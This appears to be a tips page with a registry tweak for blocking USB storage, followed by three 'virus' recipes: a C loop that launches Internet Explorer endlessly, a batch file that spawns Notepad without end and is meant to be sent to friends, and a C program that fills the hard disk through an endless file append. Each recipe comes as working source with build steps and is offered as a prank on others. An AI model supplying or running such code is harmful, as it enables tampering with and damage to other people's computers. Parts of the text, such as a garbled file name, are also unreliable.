HOW TO DISABLE USB PORT IN REGEDIT XP AND WINDOWS 7 PC COMPUTER OR LAPTOP

This is correct way to Disable the usb ports and easy. It disables the USB, Floppy and CD Rom in the Bios. Some of the try to disable USB Ports But It disables entirely.

This Will effect x specially For newer Laptops and system because that don't have even a PS2 interface for mouse and keyboard.

There is a simple registry change that will keep the USB storage drivers from starting when the system boots. and this is useful to net cafe owners. Keeps people from walking up to a PC and copying data off with a USB key,But this allow other devices like scanner,keyboard and mouse.

Open Run type " REGEDIT " with out quotations

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\UsbStor

through the path on the left side there is a file name as " Start " double click on it.

Value 3 Means USB Storage Devices is Enable.

Value 4 Means USB Storage Devices is Disable.

Some of the net cafe owner will worry about usb ports customer will copy the date for those computers.

Opening the internet explorer continuesly with virus program in c language

Type the following program in turboc2 (C Language)

Source code:-

void main(void)

   {

          for( ; ;)

           {

             system("c:\\progra~1\\intern~1\\iexplore.exe");

           }

   }

And save the above source code. Type the file INTERNET.C and compile above source code. Now close The turboc2 compiler. Open the Directory of the INTERNET.C faultlessly stored in(C:\turboc2\bin). Double click and open the executable file of (INTERNET.EXE).

A Funny harmless virus opening notepad continuesly

Hi friends, Do you want fake your friends computer with a simple funny virus. this virus will opens the notepad continuesly in your friends computer. this is so funny try this.first open the notepad. and type this source code in notepad. save the source code with ".bat" extension. the .bat extension will save the source code in batch file. send this file to your friends. 

source code:

@echo off

:top

start %SystemRoot%\system32\notepad.exe

GOTO top

how to destroy a computer hard disk using virus in c its easy to do

Hi everybody, the first stage of the learning of computer programming. this is a dream of almost all programmers to build a computer virus of his/her own.
computer virus obviously is a thing that should not be used in other computers. this completely illegal in all countries. so guys please try this on your own.
now I will explain how the virus works. we have several types of computer viruses with different functions. some virus can delete important files and folder, some can change Your PC configuration. some occupy and engulf a large amount of memory space and dump Your hard disc and also Damage Your permanently.
Here is the simple virus in few lines bur has ability to jam your hard disc. there are no logic behind the program but making a self growing file which grows to a few MB in one turn and this growth will continue in finitely.
the require ment to make this virus is
OS:-windows98/XP/2000 MS-DOS
Compiler:-Borland C,C++(Which has Dos Shell)

Source code:-

//START v.c
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>â•ša.exe");
}
}
//END

This is a very little program. compiling the programm in which as Dos shell we get Y.exe file. this file is our virus.